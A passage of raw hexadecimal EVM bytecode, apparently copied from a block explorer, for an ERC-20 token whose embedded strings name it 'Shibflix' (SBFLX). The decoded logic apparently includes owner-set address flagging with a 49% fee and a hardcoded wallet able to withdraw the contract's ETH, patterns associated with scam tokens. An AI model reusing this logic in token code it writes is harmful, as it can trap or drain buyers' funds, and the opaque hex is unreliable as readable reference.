ffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080830361152a576000905061158c565b600082846115389190613073565b905082848261154791906131fb565b14611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e9061336d565b60405180910390fd5b809150505b92915050565b60006115d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061251d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164a906133ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b990613491565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a09190612741565b60405180910390a3505050565b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148061185557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b8061189f575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806118b65750600a60009054906101000a900460ff165b6118bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192590613523565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361199d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611994906135b5565b60405180910390fd5b600082116119e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d790613647565b60405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611a8c57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad8575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b24575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611f4857611cd66064611cc8600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cb657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611cad57600954431115611c9c577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611c7457600e54611c77565b60005b600060075414611c8957600654611c8d565b600b545b611c979190613198565b611ca8565b603166ffffffffffffff165b611cb1565b600b545b611cb9565b60315b8661151890919063ffffffff16565b61159290919063ffffffff16565b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611d735750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc95750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e2457600854831115611ddd57600080fd5b600d5483611dea86610c47565b611df49190613198565b1115611dff57600080fd5b60006007541115611e235760076000815480929190611e1d90613667565b91905055505b5b6000611e2f30610c47565b9050600a60019054906101000a900460ff16158015611e9a57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb25750600a60029054906101000a900460ff165b8015611ed757506008600a611ec79190613028565b617530611ed49190613073565b81115b8015611f105750436009547f0000000000000000000000000000000000000000000000000000000000000000611f0d9190613198565b11155b15611f46576000479050611f238261226a565b8047611f2f919061325b565b90506000811115611f4457611f4381612580565b5b505b505b611f9a83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612041611ff3828561268090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ca90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6120e6848761268090919063ffffffff16565b6040516120f39190612741565b60405180910390a360008111156121ff5761215681600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ca90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121f69190612741565b60405180910390a35b5050505050565b600083831115829061224e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224591906127ec565b60405180910390fd5b506000838561225d919061325b565b9050809150509392505050565b6001600a60016101000a81548160ff02191690831515021790555060006008600a6122959190613028565b620249f06122a39190613073565b82116122c9576008600a6122b79190613028565b6175306122c49190613073565b6122e6565b6008600a6122d79190613028565b620249f06122e59190613073565b5b90506000600267ffffffffffffffff81111561230557612304612a37565b5b6040519080825280602002602001820160405280156123335781602001602082028036833780820191505090505b509050308160008151811061234b5761234a613169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240891906136a5565b8160018151811061241c5761241b613169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061247530737a250d5630b4cf539739df2c5dacb4c659f2488d856115e4565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cb9594939291906137d5565b600060405180830381600087803b1580156124e557600080fd5b505af11580156124f9573d6000803e3d6000fd5b5050505050506000600a60016101000a81548160ff02191690831515021790555050565b60008083118290612564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255b91906127ec565b60405180910390fd5b506000838561257391906131fb565b9050809150509392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125d060038461159290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125fb573d6000803e3d6000fd5b5073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff166108fc612651600661264360028661151890919063ffffffff16565b61159290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561267c573d6000803e3d6000fd5b5050565b60006126c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612206565b905092915050565b60008082846126d99190613198565b90508381101561271e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127159061387b565b60405180910390fd5b8091505092915050565b6000819050919050565b61273b81612728565b82525050565b60006020820190506127566000830184612732565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561279657808201518184015260208101905061277b565b60008484015250505050565b6000601f19601f8301169050919050565b60006127be8261275c565b6127c88185612767565b93506127d8818560208601612778565b6127e1816127a2565b840191505092915050565b6000602082019050818103600083015261280681846127b3565b905092915050565b6000604051905090565b600080fd5b600080fd5b60008115159050919050565b61283781612822565b811461284257600080fd5b50565b6000813590506128548161282e565b92915050565b6000602082840312156128705761286f612818565b5b600061287e84828501612845565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128b282612887565b9050919050565b6128c2816128a7565b81146128cd57600080fd5b50565b6000813590506128df816128b9565b92915050565b6128ee81612728565b81146128f957600080fd5b50565b60008135905061290b816128e5565b92915050565b6000806040838503121561292857612927612818565b5b6000612936858286016128d0565b9250506020612947858286016128fc565b9150509250929050565b61295a81612822565b82525050565b60006020820190506129756000830184612951565b92915050565b60006020828403121561299157612990612818565b5b600061299f848285016128d0565b91505092915050565b6000806000606084860312156129c1576129c0612818565b5b60006129cf868287016128d0565b93505060206129e0868287016128d0565b92505060406129f1868287016128fc565b9150509250925092565b600060ff82169050919050565b612a11816129fb565b82525050565b6000602082019050612a2c6000830184612a08565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a6f826127a2565b810181811067ffffffffffffffff82111715612a8e57612a8d612a37565b5b80604052505050565b6000612aa161280e565b9050612aad8282612a66565b919050565b600067ffffffffffffffff821115612acd57612acc612a37565b5b602082029050602081019050919050565b600080fd5b6000612af6612af184612ab2565b612a97565b90508083825260208201905060208402830185811115612b1957612b18612ade565b5b835b81811015612b425780612b2e88826128d0565b845260208401935050602081019050612b1b565b5050509392505050565b600082601f830112612b6157612b60612a32565b5b8135612b71848260208601612ae3565b91505092915050565b600060208284031215612b9057612b8f612818565b5b600082013567ffffffffffffffff811115612bae57612bad61281d565b5b612bba84828501612b4c565b91505092915050565b60008060408385031215612bda57612bd9612818565b5b600083013567ffffffffffffffff811115612bf857612bf761281d565b5b612c0485828601612b4c565b9250506020612c15858286016128fc565b9150509250929050565b600060208284031215612c3557612c34612818565b5b6000612c43848285016128fc565b91505092915050565b612c55816128a7565b82525050565b6000602082019050612c706000830184612c4c565b92915050565b60008060408385031215612c8d57612c8c612818565b5b600083013567ffffffffffffffff811115612cab57612caa61281d565b5b612cb785828601612b4c565b9250506020612cc885828601612845565b9150509250929050565b600067ffffffffffffffff821115612ced57612cec612a37565b5b602082029050602081019050919050565b6000612d11612d0c84612cd2565b612a97565b90508083825260208201905060208402830185811115612d3457612d33612ade565b5b835b81811015612d5d5780612d4988826128fc565b845260208401935050602081019050612d36565b5050509392505050565b600082601f830112612d7c57612d7b612a32565b5b8135612d8c848260208601612cfe565b91505092915050565b600060208284031215612dab57612daa612818565b5b600082013567ffffffffffffffff811115612dc957612dc861281d565b5b612dd584828501612d67565b91505092915050565b600080fd5b60008083601f840112612df957612df8612a32565b5b8235905067ffffffffffffffff811115612e1657612e15612dde565b5b602083019150836020820283011115612e3257612e31612ade565b5b9250929050565b60008060208385031215612e5057612e4f612818565b5b600083013567ffffffffffffffff811115612e6e57612e6d61281d565b5b612e7a85828601612de3565b92509250509250929050565b60008060408385031215612e9d57612e9c612818565b5b6000612eab858286016128d0565b9250506020612ebc858286016128d0565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612f4c57808604811115612f2857612f27612ec6565b5b6001851615612f375780820291505b8081029050612f4585612ef5565b9450612f0c565b94509492505050565b600082612f655760019050613021565b81612f735760009050613021565b8160018114612f895760028114612f9357612fc2565b6001915050613021565b60ff841115612fa557612fa4612ec6565b5b8360020a915084821115612fbc57612fbb612ec6565b5b50613021565b5060208310610133831016604e8410600b8410161715612ff75782820a905083811115612ff257612ff1612ec6565b5b613021565b6130048484846001612f02565b9250905081840481111561301b5761301a612ec6565b5b81810290505b9392505050565b600061303382612728565b915061303e836129fb565b925061306b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612f55565b905092915050565b600061307e82612728565b915061308983612728565b925082820261309781612728565b915082820484148315176130ae576130ad612ec6565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006130eb602083612767565b91506130f6826130b5565b602082019050919050565b6000602082019050818103600083015261311a816130de565b9050919050565b600061312c82612728565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361315e5761315d612ec6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006131a382612728565b91506131ae83612728565b92508282019050808211156131c6576131c5612ec6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061320682612728565b915061321183612728565b925082613221576132206131cc565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600061326682612728565b915061327183612728565b925082820390508181111561328957613288612ec6565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006132c5601783612767565b91506132d08261328f565b602082019050919050565b600060208201905081810360008301526132f4816132b8565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613357602183612767565b9150613362826132fb565b604082019050919050565b600060208201905081810360008301526133868161334a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133e9602483612767565b91506133f48261338d565b604082019050919050565b60006020820190508181036000830152613418816133dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061347b602283612767565b91506134868261341f565b604082019050919050565b600060208201905081810360008301526134aa8161346e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061350d602583612767565b9150613518826134b1565b604082019050919050565b6000602082019050818103600083015261353c81613500565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061359f602383612767565b91506135aa82613543565b604082019050919050565b600060208201905081810360008301526135ce81613592565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613631602983612767565b915061363c826135d5565b604082019050919050565b6000602082019050818103600083015261366081613624565b9050919050565b600061367282612728565b91506000820361368557613684612ec6565b5b600182039050919050565b60008151905061369f816128b9565b92915050565b6000602082840312156136bb576136ba612818565b5b60006136c984828501613690565b91505092915050565b6000819050919050565b6000819050919050565b60006137016136fc6136f7846136d2565b6136dc565b612728565b9050919050565b613711816136e6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61374c816128a7565b82525050565b600061375e8383613743565b60208301905092915050565b6000602082019050919050565b600061378282613717565b61378c8185613722565b935061379783613733565b8060005b838110156137c85781516137af8882613752565b97506137ba8361376a565b92505060018101905061379b565b5085935050505092915050565b600060a0820190506137ea6000830188612732565b6137f76020830187613708565b81810360408301526138098186613777565b90506138186060830185612c4c565b6138256080830184612732565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613865601b83612767565b91506138708261382f565b602082019050919050565b6000602082019050818103600083015261389481613858565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a04b9ce2b7db65dafb21beabc1681438d64da9eb0f43a55db72975396687486664736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063c9567bf911610064578063c9567bf914610555578063cf43ab891461056c578063d34628cc14610595578063dd62ed3e146105be5761018c565b8063a9059cbb146104c6578063bea1cb2714610503578063c1cc37ef1461052c5761018c565b806370a08231146103c8578063715018a614610405578063881dce601461041c5780638da5cb5b146104455780639180ff371461047057806395d89b411461049b5761018c565b80631a6952301161013e5780632b6fc1c6116101185780632b6fc1c614610320578063313ce5671461034b57806331c2d84714610376578063685435481461039f5761018c565b80631a695230146102a357806323b872dd146102cc57806329649a84146103095761018c565b806302522e901461019157806306fdde03146101bc57806308c2807f146101e7578063095ea7b3146102105780630df0a9d01461024d57806318160ddd146102785761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105fb565b6040516101b39190612741565b60405180910390f35b3480156101c857600080fd5b506101d161061a565b6040516101de91906127ec565b60405180910390f35b3480156101f357600080fd5b5061020e6004803603810190610209919061285a565b610657565b005b34801561021c57600080fd5b5061023760048036038101906102329190612911565b61071b565b6040516102449190612960565b60405180910390f35b34801561025957600080fd5b50610262610739565b60405161026f9190612741565b60405180910390f35b34801561028457600080fd5b5061028d61073f565b60405161029a9190612741565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c5919061297b565b610762565b005b3480156102d857600080fd5b506102f360048036038101906102ee91906129a8565b610850565b6040516103009190612960565b60405180910390f35b34801561031557600080fd5b5061031e610929565b005b34801561032c57600080fd5b50610335610a04565b6040516103429190612741565b60405180910390f35b34801561035757600080fd5b50610360610a22565b60405161036d9190612a17565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612b7a565b610a2b565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612bc3565b610b55565b005b3480156103d457600080fd5b506103ef60048036038101906103ea919061297b565b610c47565b6040516103fc9190612741565b60405180910390f35b34801561041157600080fd5b5061041a610c90565b005b34801561042857600080fd5b50610443600480360381019061043e9190612c1f565b610de3565b005b34801561045157600080fd5b5061045a610e6e565b6040516104679190612c5b565b60405180910390f35b34801561047c57600080fd5b50610485610e97565b6040516104929190612741565b60405180910390f35b3480156104a757600080fd5b506104b0610e9d565b6040516104bd91906127ec565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612911565b610eda565b6040516104fa9190612960565b60405180910390f35b34801561050f57600080fd5b5061052a60048036038101906105259190612c76565b610ef8565b005b34801561053857600080fd5b50610553600480360381019061054e9190612d95565b611022565b005b34801561056157600080fd5b5061056a611159565b005b34801561057857600080fd5b50610593600480360381019061058e9190612e39565b61129d565b005b3480156105a157600080fd5b506105bc60048036038101906105b79190612b7a565b611367565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190612e86565b611491565b6040516105f29190612741565b60405180910390f35b6008600a6106099190613028565b620249f06106179190613073565b81565b60606040518060400160405280600881526020017f53686962666c6978000000000000000000000000000000000000000000000000815250905090565b61065f6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390613101565b60405180910390fd5b80801561070f57506002600c600081548092919061070990613121565b91905055105b61071857600080fd5b50565b600061072f6107286115dc565b84846115e4565b6001905092915050565b60085481565b60006008600a61074f9190613028565b6298968061075d9190613073565b905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806107fd575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61080657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561084c573d6000803e3d6000fd5b5050565b600061085d8484846117ad565b61091e846108696115dc565b6109198560405180606001604052806028815260200161389c60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108cf6115dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122069092919063ffffffff16565b6115e4565b600190509392505050565b6109316115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b590613101565b60405180910390fd5b6008600a6109cc9190613028565b629896806109da9190613073565b6008819055506008600a6109ee9190613028565b629896806109fc9190613073565b600d81905550565b6008600a610a129190613028565b617530610a1f9190613073565b81565b60006008905090565b610a336115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab790613101565b60405180910390fd5b60005b8151811015610b5157600060046000848481518110610ae557610ae4613169565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b4990613121565b915050610ac3565b5050565b610b5d6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190613101565b60405180910390fd5b600082511480610bfc57506001600c54145b15610c0657600080fd5b6000600c541115610c4357600c6000815480929190610c2490613121565b91905055508060096000828254610c3b9190613198565b925050819055505b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c986115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90613101565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610dee30610c47565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4a57600080fd5b610e6a60648284610e5b9190613073565b610e6591906131fb565b61226a565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600581526020017f5342464c58000000000000000000000000000000000000000000000000000000815250905090565b6000610eee610ee76115dc565b84846117ad565b6001905092915050565b610f006115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490613101565b60405180910390fd5b60005b825181101561101d578160046000858481518110610fb157610fb0613169565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061101590613121565b915050610f90565b505050565b61102a6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae90613101565b60405180910390fd5b600081519050600481116110ce576110cd61322c565b5b816002826110dc919061325b565b815181106110ed576110ec613169565b5b602002602001015160068190555081600182611109919061325b565b8151811061111a57611119613169565b5b6020026020010151600b8190555081600382611136919061325b565b8151811061114757611146613169565b5b6020026020010151600e819055505050565b6111616115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e590613101565b60405180910390fd5b6003600c5414801561120d5750600a60009054906101000a900460ff16155b61124c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611243906132db565b60405180910390fd5b6001600a60026101000a81548160ff0219169083151502179055506001600a60006101000a81548160ff02191690831515021790555043600960008282546112949190613198565b92505081905550565b6112a56115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990613101565b60405180910390fd5b60018282905010801561135a57506002600c6000815461135190613121565b91905081905510155b61136357600080fd5b5050565b61136f6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390613101565b60405180910390fd5b60005b815181101561148d5760016004600084848151811061142157611420613169565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061148590613121565b9150506113ff565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080830361152a576000905061158c565b600082846115389190613073565b905082848261154791906131fb565b14611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e9061336d565b60405180910390fd5b809150505b92915050565b60006115d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061251d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164a906133ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b990613491565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a09190612741565b60405180910390a3505050565b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148061185557507f0000000000000000000000006788d7d37a49eda2ff3b3f975d2908c704960e6773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b8061189f575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806118b65750600a60009054906101000a900460ff165b6118bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192590613523565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361199d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611994906135b5565b60405180910390fd5b600082116119e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d790613647565b60405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611a8c57507f0000000000000000000000006788d7d37a49eda2ff3b3f975d2908c704960e6773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad8575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b24575073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611f4857611cd66064611cc8600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cb657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611cad57600954431115611c9c577f0000000000000000000000002265bda9423e898942c7415993f060de8ff570fd73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611c7457600e54611c77565b60005b600060075414611c8957600654611c8d565b600b545b611c979190613198565b611ca8565b603166ffffffffffffff165b611cb1565b600b545b611cb9565b60315b8661151890919063ffffffff